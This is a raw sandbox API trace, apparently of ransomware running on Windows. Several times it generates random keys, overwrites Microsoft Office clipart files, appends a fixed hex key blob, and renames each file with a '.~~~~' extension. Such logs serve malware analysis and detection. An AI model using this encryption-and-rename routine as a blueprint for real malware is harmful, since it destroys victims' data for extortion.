	[0114.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839b50
	[0114.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839b50 | out: hHeap=0x300000) returned 1
	[0114.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28372f8
	[0114.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.267] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.268] GetLastError () returned 0x0
	[0114.268] GetLastError () returned 0x0
	[0114.268] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.268] GetLastError () returned 0x0
	[0114.268] GetLastError () returned 0x0
	[0114.274] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdf20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.274] WriteFile (in: hFile=0x140, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x20e0, lpOverlapped=0x0) returned 1
	[0114.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.276] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.276] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.276] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.276] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.276] CloseHandle (hObject=0x140) returned 1
	[0114.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.~~~~")) returned 1
	[0114.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.278] GetLastError () returned 0x0
	[0114.278] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.279] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.279] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.280] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23426985490) returned 1
	[0114.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadb87110, dwHighDateTime=0x1d60e1e)) 
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839b88
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839b88 | out: hHeap=0x300000) returned 1
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837428
	[0114.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.281] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.281] GetLastError () returned 0x0
	[0114.281] GetLastError () returned 0x0
	[0114.281] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.281] GetLastError () returned 0x0
	[0114.281] GetLastError () returned 0x0
	[0114.291] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff51c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.291] WriteFile (in: hFile=0x140, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0xae4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xae4, lpOverlapped=0x0) returned 1
	[0114.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.293] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.293] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.293] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.294] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.294] CloseHandle (hObject=0x140) returned 1
	[0114.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.294] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.~~~~")) returned 1
	[0114.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.296] GetLastError () returned 0x0
	[0114.296] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.297] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.297] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.298] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23428767461) returned 1
	[0114.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadbad270, dwHighDateTime=0x1d60e1e)) 
	[0114.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839bf8
	[0114.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839bf8 | out: hHeap=0x300000) returned 1
	[0114.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28374c0
	[0114.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.298] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.299] GetLastError () returned 0x0
	[0114.299] GetLastError () returned 0x0
	[0114.299] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.299] GetLastError () returned 0x0
	[0114.299] GetLastError () returned 0x0
	[0114.375] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.375] WriteFile (in: hFile=0x140, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x1db8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1db8, lpOverlapped=0x0) returned 1
	[0114.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.400] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.400] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.400] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.400] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.401] CloseHandle (hObject=0x140) returned 1
	[0114.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.401] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.~~~~")) returned 1
	[0114.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.402] GetLastError () returned 0x0
	[0114.529] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.530] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.530] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.530] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23452015702) returned 1
	[0114.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadde8710, dwHighDateTime=0x1d60e1e)) 
	[0114.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a058
	[0114.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a058 | out: hHeap=0x300000) returned 1
	[0114.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838138
	[0114.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.531] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.531] GetLastError () returned 0x0
	[0114.531] GetLastError () returned 0x0
	[0114.531] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.531] GetLastError () returned 0x0
	[0114.531] GetLastError () returned 0x0
	[0114.534] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb8ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.534] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x4754, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x4754, lpOverlapped=0x0) returned 1
	[0114.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.535] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.535] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.535] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.535] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.535] CloseHandle (hObject=0x11c) returned 1
	[0114.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.~~~~")) returned 1
	[0114.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.537] GetLastError () returned 0x0
	[0114.537] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.538] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.538] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.538] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23452849242) returned 1
	[0114.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadde8710, dwHighDateTime=0x1d60e1e)) 
	[0114.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a090
	[0114.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a090 | out: hHeap=0x300000) returned 1
	[0114.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837b48
	[0114.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.539] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.539] GetLastError () returned 0x0
	[0114.540] GetLastError () returned 0x0
	[0114.540] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.540] GetLastError () returned 0x0
	[0114.540] GetLastError () returned 0x0
	[0114.543] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffea02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.543] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x15fe, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x15fe, lpOverlapped=0x0) returned 1
	[0114.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.545] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.545] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.545] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.545] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.545] CloseHandle (hObject=0x11c) returned 1
	[0114.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.~~~~")) returned 1
	[0114.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.546] GetLastError () returned 0x0
	[0114.547] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.548] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.548] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
